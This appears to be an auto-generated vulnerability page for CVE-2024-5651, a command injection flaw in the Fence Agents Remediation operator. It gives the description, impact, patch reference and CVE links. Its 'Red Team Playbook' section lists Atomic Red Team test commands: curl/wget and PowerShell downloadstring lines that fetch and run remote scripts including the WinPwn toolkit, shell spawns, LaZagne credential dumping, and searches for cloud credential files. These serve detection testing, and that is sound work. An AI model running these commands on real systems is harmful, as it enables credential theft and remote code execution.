CVE-2024-5651
Overview
This vulnerability is a command injection flaw rooted in improper handling of user-supplied input within the Fence Agents Remediation operator. Specifically, the operator's parsing of the --ssh-path and --telnet-path arguments fails to sanitize arbitrary commands, enabling injection. The affected component is the FenceAgentsRemediation controller responsible for managing fence agents that support these command path parameters.
Vulnerability Description
A flaw was found in the Fence Agents Remediation operator. This vulnerability can allow a Remote Code Execution (RCE) primitive by supplying an arbitrary command to execute in the --ssh-path/--telnet-path arguments. A low-privilege user, for example, a user with developer access, can create a specially crafted FenceAgentsRemediation for a fence agent supporting --ssh-path/--telnet-path arguments to execute arbitrary commands on the operator's pod. This RCE leads to a privilege escalation, first as the service account running the operator, then to another service account with cluster-admin privileges.
Impact
An attacker with low-level access can execute arbitrary commands on the operator's pod, escalating privileges first to the operator's service account and then to a cluster-admin service account. This chain enables full control over the Kubernetes cluster, including potential data exfiltration or disruption of cluster operations. The attack requires authenticated access with developer-level privileges but no user interaction. The CVSS vector (AV:N/AC:L/PR:L/UI:N) confirms network attack with low complexity and privileges required, without user interaction.
Solution
Apply the security update provided in Red Hat advisory RHSA-2024:5453, which patches the Fence Agents Remediation operator to properly validate and sanitize the --ssh-path and --telnet-path arguments. Refer to https://access.redhat.com/errata/RHSA-2024:5453 for detailed patch instructions and affected versions. No documented workarounds exist; immediate patching is recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Fence Agents Remediation operator presents a significant risk due to its potential for Remote Code Execution (RCE). This flaw arises from improper handling of input parameters, specifically the --ssh-path and --telnet-path arguments. By crafting a malicious input, a low-privilege user, such as one with developer access, can manipulate the operator to execute arbitrary commands within the context of the operator's pod. This exploitation is particularly concerning because it allows an attacker to escalate privileges from a service account running the operator to another service account with cluster-admin rights, effectively granting them extensive control over the entire cluster.
Attack vectors for this vulnerability are varied and can be executed through several methods. An attacker could leverage a compromised developer account to create a malicious FenceAgentsRemediation configuration that includes the crafted arguments. Once deployed, the operator processes these commands, leading to the execution of arbitrary code. The exploitation could occur in environments where the Fence Agents Remediation operator is integrated with Kubernetes or similar orchestration platforms, making it accessible to users with insufficient permissions. The ability to execute commands remotely not only compromises the integrity of the operator but also opens pathways to further attacks within the cluster.
The real-world impact of this vulnerability is profound, particularly for organizations relying on cloud-native architectures. The ability to escalate privileges to cluster-admin status means that an attacker could potentially alter configurations, access sensitive data, deploy malicious workloads, or disrupt services. The business risks associated with such an incident include data breaches, loss of customer trust, regulatory fines, and significant recovery costs. Moreover, the presence of this vulnerability could lead to a broader compromise of the organization’s infrastructure, as attackers could pivot to other systems or services within the environment.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular audits of user permissions and access controls are essential to ensure that only trusted individuals have the ability to deploy or modify configurations involving the Fence Agents Remediation operator. Additionally, employing runtime security monitoring can help identify unusual command executions or behaviors indicative of exploitation attempts. Organizations should also consider applying patches or updates provided by the vendor to remediate the flaw. Furthermore, implementing network segmentation and least privilege principles can help limit the potential impact of an exploit, ensuring that even if an attacker gains access, their ability to move laterally within the environment is restricted.
In conclusion, the vulnerability in the Fence Agents Remediation operator poses a serious threat to cloud-native environments, enabling remote code execution and privilege escalation. The potential for significant business impact necessitates immediate attention from cybersecurity teams. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against exploitation and maintain the integrity of their operational environments.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-5651 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:5453 |
| access.redhat.com |
GitHub CVE
vdb-entry
x_refsource_REDHAT
|
https://access.redhat.com/security/cve/CVE-2024-5651 |
| bugzilla.redhat.com |
GitHub CVE
issue-tracking
x_refsource_REDHAT
|
https://bugzilla.redhat.com/show_bug.cgi?id=2290540 |